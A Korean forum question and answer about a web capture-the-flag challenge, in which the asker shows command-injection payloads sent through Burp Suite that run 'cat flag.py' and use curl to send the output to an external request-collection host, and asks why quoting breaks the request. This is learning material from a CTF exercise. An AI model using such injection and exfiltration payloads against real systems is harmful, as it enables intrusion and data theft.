curl을 통한 GET 메소드 요청

해당 문제에서 원격 서버로 GET 요청을 보내면서 쿼리 파라미터에 cat flag.py의 결과를 전달해주려고 했는데,

cat flag.py의 결과에 공백이 존재하여, ""로 감싸야합니다.

curl https://offxuuz.request.dreamhack.games/?query="$(cat+flag.py)"

따라서, 위와 같은 시스템 명령어를 수행하기 위해 아래와 같은 페이로드를 작성하여 Burp Suite를 통해 보냈는데, ""로 감싸면 GET 요청 자체가 보내지지 않습니다.

HEAD /?cmd=curl+https://offxuuz.request.dreamhack.games/?query="$(cat+flag.py)" HTTP/1.1

뭔가 쿼리 파라미터에 ""가 추가된 부분 때문에 문제가 생기는 것 때문인가 해서 %22로 URL 인코딩을 해도 결과는 똑같았습니다.

""로 감싸주지 않고 아래와 같이 페이로드를 보내면 GET 요청은 잘 가지만 FLAG = DH~에서 FLAG만 출력되서 플래그를 확인할 수 없는데,

HEAD /?cmd=curl+https://offxuuz.request.dreamhack.games/?query=$(cat+flag.py) HTTP/1.1

왜 POST 요청과 달리 GET 요청에서는 ""로 감싸면 GET 요청 자체가 원격 서버로 전달되지 않는것일까요?

참고로, wget을 통해 GET 요청을 보냈을 대는 ""로 감싸도 페이로드가 잘 전달되어 원격 서버로 플래그 전체가 전달되었습니다.

읽어주셔서 감사합니다.

#web
작성자 정보
답변 1
avatar
hoppi_
대표 업적 없음

안녕하세요 ro님

  1. URL은 RFC 3986 표준에 따라 정의되며, URL의 각 부분은 특정 문자를 허용하거나 허용하지 않습니다.
    burp에서 GET 요청을 할때, 직접적으로 "는 URL의 일부로 사용할 수 없기 때문입니다.
  2. 커맨드라인에서는 curl이나 wget을 사용할때, 셸에서 사용하는 메타문자같은 것들이 있어서 ""로 감싸면 단순히 메타문자가 아닌 문자열로 해석되어 서버로 전송하기 떄문입니다.
2024.10.04. 10:41
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기